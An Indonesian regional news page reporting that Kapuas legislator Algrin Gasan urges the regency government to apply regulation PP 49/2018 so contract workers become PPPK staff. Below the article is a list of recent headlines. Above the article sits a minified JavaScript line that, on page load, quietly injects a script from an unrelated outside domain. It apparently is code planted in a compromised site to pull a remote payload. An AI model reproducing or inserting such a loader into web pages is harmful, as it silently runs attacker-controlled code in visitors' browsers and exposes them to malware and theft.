(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Algrin Gasan: Pemkab Harus Konsisten Laksanakan PP 49 2018 Tentang PPPK


KANALKALIMANTAN. COM, KUALA KAPUAS – Anggota DPRD Kabupaten Kapuas, Algrin Gasan SHut meminta Pemerintah Kabupaten (Pemkab) Kapuas konsisten melaksanakan Peraturan Pemerintah (PP) Nomor 49 Tahun 2018, tentang Pegawai Pemerintah dengan Perjanjian Kerja (PPPK).

Menurut Algrin, dengan konsisten melaksanakan itu maka dapat sebagai solusi penyelesaian persoalan tenaga kontrak.

“Itu bisa menjadi solusi untuk tenaga kontrak, dengan melaksanakan PP Nomor 49 Tahun 2018 tentang PPPK,” kata Politisi Partai Golkar ini, Kamis (4/11/2021).

Presiden telah mengeluarkan Peraturan Presiden (Perpres) Nomor 98 Tahun 2020, sebagai tindaklanjut dari PP Nomor 49 Tahun 2018.

 

Baca juga : Tewas karena Sopir Ngantuk, Polisi: Vanessa Angel Duduk di Kursi Belakang, Suami di Depan

“Ini adalah bentuk ketaatan hukum terhadap aturan lebih tinggi, dikarenakan hukum adalah panglima bagi masyarakat di Negara Republik Indonesia,” tuturnya.

Tujuan dari PP Nomor 49 Tahun 2018 tersebut, agar secara bertahap sampai tahun 2023 tidak ada lagi tenaga honorer K2, dan apapun namanya semua harus diangkat menjadi PPPK. “Seharusnya Pemda taat terhadap PP, dan Perpres sebagai aturan lebih tinggi,” ucap Algrin.

Menurut Algrin, penghematan anggaran bukan dengan memangkas anggaran untuk tenaga kontrak, hal ini sangat penting demi rasa keadilan.

Sehingga jangan sampai rencana pengurangan tenaga kontrak untuk penghematan anggaran, yaitu membayar utang Pemkab pada PT SMI.

 

Baca juga : PJU Mati di Jalan Taman Gembira Timur, Gelap Gulita Bahayakan Pelintas

Pemkab Kapuas bisa menghemat dari anggaran infrastruktur, karena pembangunan infrastruktur sekarang banyak dilaksanakan melalui anggaran Food Estate dan Pemulihan Ekonomi Nasional (PEN) dari pemerintah pusat.

“Kebetulan Kabupaten Kapuas menjadi lokasi utama pembangunan Food Estate,” tandasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

3 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

4 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

6 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

9 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

12 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

12 jam ago

This website uses cookies.